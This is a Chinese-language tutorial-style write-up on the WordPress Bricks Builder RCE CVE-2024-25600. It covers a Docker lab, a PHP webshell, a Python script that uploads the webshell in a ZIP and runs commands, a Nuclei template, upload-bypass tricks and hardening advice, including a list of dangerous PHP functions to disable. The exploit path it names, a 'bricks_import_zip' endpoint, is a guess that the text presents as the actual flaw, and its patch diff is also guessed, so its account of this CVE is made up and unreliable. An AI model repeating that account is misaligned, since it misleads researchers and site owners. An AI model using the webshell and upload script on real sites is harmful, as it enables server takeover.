1. 项目概述一次对Bricks Builder高危漏洞的深度剖析最近在安全研究圈里CVE-2024-25600这个编号被频繁提及它指向的是WordPress生态中一款非常流行的可视化页面构建器插件——Bricks Builder。这个漏洞被定性为“未经身份验证的远程代码执行”也就是我们常说的RCE其CVSS评分高达9.8属于严重级别。简单来说这意味着攻击者无需登录就能在运行了受影响版本Bricks Builder的网站上执行任意代码完全接管服务器。对于任何一个依赖WordPress建站的站长或开发者而言这无异于一颗随时可能引爆的炸弹。我花了几天时间从零开始搭建环境、复现漏洞、分析成因并梳理了完整的防御思路。这篇文章就是这次深度探索的完整记录旨在为安全研究人员提供一个清晰的复现路径也为广大WordPress使用者敲响警钟并提供切实可行的加固方案。2. 漏洞环境搭建与核心原理拆解2.1 靶场环境快速构建要分析一个漏洞第一步就是还原案发现场。我们需要一个包含漏洞的WordPress环境。这里我选择使用Docker来快速搭建因为它干净、隔离并且可以随时重置。首先准备一个docker-compose.yml文件。这里的关键是选择包含漏洞的Bricks Builder插件版本。根据公告漏洞影响1.9.6之前的所有版本。我们选择1.9.5版作为靶子。version: 3.8 services: wordpress: image: wordpress:6.4-php8.1-apache container_name: bricks-vuln-lab restart: unless-stopped ports: - 8080:80 environment: WORDPRESS_DB_HOST: db WORDPRESS_DB_USER: wordpress WORDPRESS_DB_PASSWORD: wordpress WORDPRESS_DB_NAME: wordpress volumes: - ./wordpress:/var/www/html - ./uploads.ini:/usr/local/etc/php/conf.d/uploads.ini depends_on: - db db: image: mariadb:10.6 container_name: bricks-vuln-db restart: unless-stopped environment: MYSQL_ROOT_PASSWORD: rootpassword MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpress volumes: - db_data:/var/lib/mysql volumes: db_data:这里有几个细节需要注意。一是映射了本地wordpress目录到容器方便我们直接操作插件文件。二是额外挂载了一个uploads.ini配置文件这是为了后续利用漏洞上传文件时避免受到PHP文件上传大小和类型的限制。其内容很简单file_uploads On upload_max_filesize 100M post_max_size 100M max_execution_time 600启动环境后通过浏览器访问http://localhost:8080完成WordPress的初始安装。安装完成后进入后台我们需要手动安装有漏洞的Bricks Builder插件。不要去官方库安装因为最新版已经修复。我们需要去第三方存档站下载1.9.5版本例如从 wordpress.org 的插件SVN仓库历史中获取下载后是一个ZIP包。在WordPress后台的“插件”-“安装插件”页面选择“上传插件”然后选择这个ZIP包进行安装。切记不要立即激活。注意在真实复现中直接从不明来源下载插件包存在风险。建议从官方SVN仓库按版本号检出或者使用已知的、可信的漏洞研究资源库。这是安全研究的第一原则确保实验材料本身是干净的。安装完成后我们暂时不激活插件。先来理解漏洞的根源。2.2 漏洞核心初始化逻辑缺陷与权限混淆Bricks Builder作为一个前端页面构建器其设计初衷是让用户能像搭积木一样设计页面。为了实现实时预览和保存它提供了大量的AJAX端点admin-ajax.php或自定义端点供前端调用。漏洞的核心就藏在一个关键的初始化函数中。在插件的入口文件或者某个核心类中会有一个初始化AJAX动作钩子的函数。在1.9.5及更早版本中部分本应只对登录用户admin或editor开放的AJAX端点错误地也向未登录用户nopriv开放了。这是WordPress AJAX处理的一个常见模式wp_ajax_{action}处理已认证请求wp_ajax_nopriv_{action}处理未认证请求。漏洞点在于某个用于处理上传、文件导入或代码执行的action同时被挂载到了wp_ajax_nopriv_这个钩子上。这意味着攻击者无需提供任何认证Cookie或Token直接向/wp-admin/admin-ajax.php发送一个特定的请求就能触发本应只有管理员才能执行的功能。更深入一层这个有问题的功能往往涉及文件操作。例如一个名为bricks_save_template或bricks_import的AJAX动作。其代码可能没有对传入的数据进行严格的类型检查、路径校验和权限验证就直接将用户可控的内容写入服务器文件系统。当这个功能与nopriv挂钩时RCE的条件就成熟了。我们可以通过代码审计来定位。在插件目录中搜索wp_ajax_nopriv重点关注那些涉及file_put_contents、move_uploaded_file、unserialize、eval等危险函数的回调方法。在CVE-2024-25600的案例中问题正出在一个处理“导入模板”的功能上该功能允许上传一个ZIP包并解压而解压路径和文件内容没有经过安全过滤。3. 漏洞复现过程与利用链详解3.1 利用链构造与POC编写理解了原理我们就可以动手构造利用链Exploit Chain。假设漏洞点是一个未授权访问的模板导入功能AJAX action:bricks_import_zip。攻击者可以上传一个恶意的ZIP压缩包该压缩包内包含一个精心构造的PHP Webshell文件。首先我们需要创建一个简单的PHP Webshell比如命名为shell.php?php if(isset($_GET[cmd])) { system($_GET[cmd]); } ?然后将这个shell.php文件打包成ZIP注意压缩时的目录结构。有时插件会解压到固定目录如wp-content/uploads/bricks/有时则会包含上传时指定的子目录。为了增加成功率我们可以在ZIP包中创建多层目录并将Webshell放在深处例如import/shell.php。接下来我们需要编写一个Python脚本来模拟攻击。这个脚本的核心任务是向目标站点的AJAX端点发送一个POST请求内容类型为multipart/form-data其中包含我们的恶意ZIP文件。import requests import sys def exploit(target_url): ajax_url f{target_url.rstrip(/)}/wp-admin/admin-ajax.php # 假设漏洞的action参数是 ‘bricks_import_zip’ data { action: bricks_import_zip, nonce: # 由于是noprivnonce可能不需要或者存在绕过 } files { zip_file: (exploit.zip, open(exploit.zip, rb), application/zip) } print(f[*] 目标: {ajax_url}) print(f[*] 正在发送恶意ZIP包...) try: response requests.post(ajax_url, datadata, filesfiles, timeout30) print(f[*] 响应状态码: {response.status_code}) print(f[*] 响应内容: {response.text[:500]}) # 打印前500字符 # 尝试猜测Webshell的访问路径 # 假设解压到了 /wp-content/uploads/bricks/import/shell.php shell_url f{target_url.rstrip(/)}/wp-content/uploads/bricks/import/shell.php verify requests.get(shell_url, timeout10) if verify.status_code 200: print(f[] 漏洞利用成功Webshell 地址: {shell_url}) print(f[] 测试命令执行: {shell_url}?cmdid) test_cmd requests.get(f{shell_url}?cmdid, timeout10) print(f[] 命令执行结果: {test_cmd.text}) else: print([-] Webshell 可能未成功写入请检查路径和插件解压逻辑。) except Exception as e: print(f[-] 请求失败: {e}) if __name__ __main__: if len(sys.argv) ! 2: print(f用法: {sys.argv[0]} 目标WordPress网址) sys.exit(1) exploit(sys.argv[1])这个POC脚本是一个简化版。在实际漏洞中参数名如zip_file、action名称、以及解压后的文件路径都需要通过代码审计或模糊测试来精确确定。真正的漏洞利用可能还需要处理服务器返回的JSON响应解析出上传文件的路径。3.2 分步复现操作实录现在让我们在搭建好的靶场上实际操作一遍。激活插件登录WordPress后台激活Bricks Builder 1.9.5插件。运行POC在攻击机可以是宿主机上将上述Python脚本和准备好的exploit.zip放在同一目录运行python3 poc.py http://localhost:8080。观察结果脚本会输出发送请求和接收响应的过程。如果漏洞存在且利用成功你会看到返回的HTTP状态码是200并且响应内容里可能包含“success”或文件路径等信息。脚本随后会尝试访问猜测的Webshell路径。验证漏洞如果Webshell访问成功我们可以在浏览器中直接访问http://localhost:8080/wp-content/uploads/bricks/import/shell.php?cmdls -la查看服务器当前目录的文件列表这就确认了远程代码执行能力。实操心得在复现过程中最大的障碍往往不是漏洞本身而是环境差异。比如WordPress的WP_DEBUG设置可能影响错误信息的输出服务器的临时目录权限可能阻碍文件上传或者插件的具体版本存在细微差别。我的经验是首先确保Docker容器内的www-data用户Apache运行用户对wp-content/uploads/目录有读写执行权限。其次查看WordPress的debug日志如果开启和Apache的错误日志docker logs bricks-vuln-lab这里面通常包含了请求失败的具体原因是排查问题的黄金依据。4. 漏洞深度分析与安全启示4.1 代码层根源与补丁对比漏洞的根源在于权限控制的缺失和输入验证的不足。我们通过对比修复版本如1.9.6和漏洞版本的代码可以清晰地看到修复方案。在漏洞版本1.9.5的某个类文件中可能存在如下代码add_action( wp_ajax_bricks_import_zip, [ $this, import_zip ] ); add_action( wp_ajax_nopriv_bricks_import_zip, [ $this, import_zip ] ); // 致命错误未授权访问而在修复版本1.9.6中第二行wp_ajax_nopriv_的钩子被移除了add_action( wp_ajax_bricks_import_zip, [ $this, import_zip ] ); // add_action( wp_ajax_nopriv_bricks_import_zip, [ $this, import_zip ] ); // 已移除同时在import_zip函数内部修复版本一定会增加权限检查通常是在函数开头加入public function import_zip() { // 修复添加权限校验 if ( ! current_user_can( edit_posts ) ) { // 或 ‘manage_options’ wp_die( 权限不足 ); } // ... 原有的文件处理逻辑 ... }此外修复版本还会加强对上传文件的检查例如验证文件扩展名、MIME类型对解压路径进行规范化并防止路径穿越如使用realpath函数校验甚至可能完全重构文件处理逻辑使用更安全的临时目录和随机文件名。4.2 针对WordPress生态的防御纵深构建对于网站管理员和开发者来说仅仅知道这个漏洞被修复了是不够的。我们需要从这次事件中吸取教训构建更深层次的防御。即时更新这是最有效、最简单的措施。一旦插件或主题发布安全更新应立即在测试环境验证后更新生产环境。为WordPress核心、插件和主题启用自动更新是一个好习惯。最小权限原则运行WordPress的PHP进程如PHP-FPM池应该使用一个专用的、低权限的系统用户。确保wp-content目录下的文件权限设置正确通常目录为755文件为644。限制Web服务器用户对关键系统文件和目录的访问。部署Web应用防火墙使用云WAF如Cloudflare或主机层面的WAF如ModSecurity。它们可以基于规则库拦截针对已知漏洞如特定AJAX action的未授权访问的攻击请求。安全审计与监控定期对网站进行安全扫描使用插件或外部服务检查文件完整性监控wp-content/uploads/等目录下是否有可疑的PHP文件被创建。查看服务器访问日志关注对admin-ajax.php异常频繁或参数异常的POST请求。代码审计习惯如果你是开发者在自定义主题或插件时必须牢记所有用户输入都是不可信的。对AJAX端点务必同时检查nonce随机数和用户能力current_user_can。处理文件上传时要进行白名单验证、重命名、并存储在Web根目录之外或至少是不可直接访问的位置。5. 拓展思考与高级利用场景5.1 漏洞利用的变种与绕过在真实的攻防对抗中攻击者不会只使用一种固定的Payload。针对文件上传漏洞他们可能会尝试多种绕过技巧文件扩展名绕过将Webshell代码嵌入到shell.php.jpg文件中并利用解析漏洞如果服务器配置不当或结合.htaccess文件上传进行解析。内容混淆在PHP文件中加入大量空白字符、注释或使用编码函数如base64_decode、gzinflate来绕过简单的内容扫描。路径穿越如果ZIP处理逻辑存在缺陷攻击者可能在ZIP中构造包含../../../的路径试图将Webshell写到网站根目录甚至系统其他位置。因此防御方在修复时不能仅仅删除一个nopriv钩子就了事必须对相关的文件处理函数进行全面的安全加固。5.2 从攻击者视角看资产发现与批量利用对于攻击者而言发现互联网上存在漏洞的Bricks Builder网站是第一步。他们通常会使用网络空间测绘引擎如Shodan, FoFa, ZoomEye进行批量搜索搜索语法可能是title:“Bricks” body:“wp-content/plugins/bricks”或者直接搜索特定的JavaScript文件路径。一旦发现目标便会使用自动化工具进行漏洞验证和利用。在漏洞公开的初期可能很快就会出现集成到Metasploit、Nuclei等框架中的利用模块。Nuclei的POC模板可能会这样定义id: CVE-2024-25600 info: name: WordPress Bricks Builder Plugin - Unauthenticated RCE author: researcher severity: critical requests: - method: POST path: - {{BaseURL}}/wp-admin/admin-ajax.php headers: Content-Type: multipart/form-data; boundary----WebKitFormBoundarytest body: | ------WebKitFormBoundarytest Content-Disposition: form-data; nameaction bricks_import_zip ------WebKitFormBoundarytest Content-Disposition: form-data; namezip_file; filenameexploit.zip Content-Type: application/zip {{hex_decode(\504b0304140000000000...\)}} # 这里是恶意ZIP文件的十六进制编码 ------WebKitFormBoundarytest-- matchers: - type: dsl dsl: - status_code 200 - contains(body, success) # 或 contains(body, “/uploads/bricks/”)这种自动化程度使得漏洞的影响范围在极短时间内急剧扩大。作为防御方必须在漏洞公开后的“黄金修复时间”内完成更新并密切关注威胁情报看是否有针对自家IP的扫描攻击日志。6. 防御加固实战与排查清单6.1 紧急处置与根除措施如果你的网站正在使用受影响版本的Bricks Builder请立即按以下步骤操作立即禁用或更新插件进入WordPress后台如果Bricks Builder不是必须的立即停用它。如果是必须的请立即更新到官方发布的最新版本1.9.6或更高。服务器文件系统排查使用SSH连接到服务器。重点扫描wp-content/uploads/bricks/目录及其所有子目录查找最近创建的、可疑的PHP文件。可以使用命令find /path/to/wordpress/wp-content/uploads/bricks -name *.php -mtime -7查找7天内修改的PHP文件。检查网站根目录、wp-includes/、wp-admin/等非常规上传目录下是否有新增的陌生文件。Web日志分析检查Web服务器Nginx/Apache的访问日志搜索包含admin-ajax.php且POST数据中有bricks_import_zip或类似动作的请求。这些请求的来源IP可能就是攻击者。命令示例grep -r “admin-ajax.php” /var/log/nginx/access.log | grep POST。数据库检查检查WordPress的wp_options表看是否有异常增加的选项option。一些高级的Webshell可能会将后门代码存储在数据库中。清除后门一旦发现可疑文件不要直接删除先将其内容备份以供分析然后立即删除。如果怀疑已被植入后门最彻底的方法是从干净的备份中恢复整个网站文件和数据库。6.2 长期安全加固配置建议为了从根本上降低此类插件漏洞带来的风险建议实施以下加固措施加固层面具体措施操作说明与目的系统层面非Root用户运行PHP-FPM、Nginx/Apache进程使用www-data等低权限用户运行限制其系统命令执行能力。文件权限限制WordPress根目录设置为755wp-content为755其中uploads目录可设为755或775但内部文件应为644。应用层面禁用危险函数在php.ini中将disable_functions设置为exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source等。限制PHP执行在Web服务器配置中禁止uploads等目录执行PHP。例如Nginx:location ~* /wp-content/uploads/.*\.php$ { deny all; }。WordPress层面安全插件安装并配置Wordfence、Sucuri Security或iThemes Security等安全插件启用防火墙和文件完整性监控。限制登录尝试通过插件防止暴力破解减少管理员账户被攻破的风险。修改后台路径使用插件修改/wp-admin和/wp-login.php的默认路径增加攻击者探测难度。运维层面定期备份实施自动化、异地备份策略文件数据库确保可快速恢复。漏洞订阅订阅WordPress官方安全公告、所用插件/主题的更新通知。最小化安装仅安装并启用必需的插件和主题定期清理未使用的部分。安全是一个持续的过程而非一劳永逸的状态。这次对CVE-2024-25600的复现与分析再次印证了在复杂的软件生态中任何一个细微的权限校验疏忽都可能演变成一场灾难。对于开发者这是编写代码时对安全边界保持敬畏的警钟对于运维者这是建立常态化安全巡检和应急响应流程的契机。保持软件更新、遵循最小权限原则、实施深度防御这三条古老的安全格言至今仍然是抵御网络威胁最坚实的盾牌。